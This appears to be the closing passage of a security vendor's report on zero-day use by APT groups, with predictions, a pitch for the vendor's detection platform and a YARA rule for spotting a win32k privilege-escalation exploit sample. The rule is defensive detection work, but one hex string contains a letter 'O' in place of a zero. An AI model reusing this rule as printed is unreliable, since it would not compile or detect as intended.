Zero-day plays a pivotal role in cyberspace. It is usually used as a strategic reserve for threat organizations and has a special mission and strategic significance. With the iteration of software/hardware and the improvement of the defense system, the cost of mining and exploiting software/hardware zero-day is getting higher and higher.

Over the years, vendors over the world have investment a lot on detecting APT attacks. This makes the APT organization more cautious in the use of zero-day. In order to maximize its value, it will only be used for very few specific targets. A little carelessness will shorten the life cycle of a zero-day. Meanwhile, some zero-days have been lurking for a long time before being exposed, the most remarkable example is the MS17-010 used by EternalBlue,

Over the last year (2020), dozens of 0Day/1Day attacks in the wild were disclosed globally, including three attacks which tracked by DBAPPSecurity Threat Intelligence Center. Based on the data we have, we predict there will be more zero-day disclose on browser and privilege escalation in 2021.

The detection capability on zero-day is one of key aspect that requires continuous improvement in the APT confrontation process. In addition to endpoint attacks, the attacks on boundary systems, critical equipment, and centralized control systems are also worth noting. There are also several security incidents in these areas over the past years.

Being undiscovered does not mean that it does not exist, it may be more in a stealthy state. The discovery, detection and defense of advanced threats attacks require constant iteration and strengthening during the game. It's necessary to think more about how to strengthen the defense capabilities in all points, lines and surfaces. Cyber security has a long way to go, and we need to encourage each other.

## How To Defend Against Such Attacks

The <u>DBAPPSecurity APT Attack Early Warning Platform</u> could find known/unknown threat. The platform can monitor, capture and analyze the threats of malicious files or programs in real time, and can conduct powerful monitoring of malicious samples such as Trojan horses associated with each stage of email delivery, vulnerability exploitation, installation/implantation and C2.

At the same time, the platform conducts in-depth analysis of network traffic based on twoway traffic analysis, intelligent machine learning, efficient sandbox dynamic analysis, rich signature libraries, comprehensive detection strategies, and massive threat intelligence data. The detection capability completely covers the entire APT attack chain, effectively discovering APT attacks, unknown threats and network security incidents that users care about.

## Yara Rule

```
rule apt_bitter_win32k_0day {
   meta:
       author = "dbappsecurity_lieying_lab"
       data = "01-01-2021"
    strings:
       $s1 = "NtUserConsoleControl" ascii wide
       $s2 = "NtCallbackReturn" ascii wide
       $s3 = "CreateWindowEx" ascii wide
       $s4 = "SetWindowLong" ascii wide
       $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
       $a2 = {66 OF 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
       $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}
    condition:
       uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)
}
杭州安恒信息技术股份有限公司 - 威胁情报中心 Copyright @
```

Dbappsecurity All Rights Reserved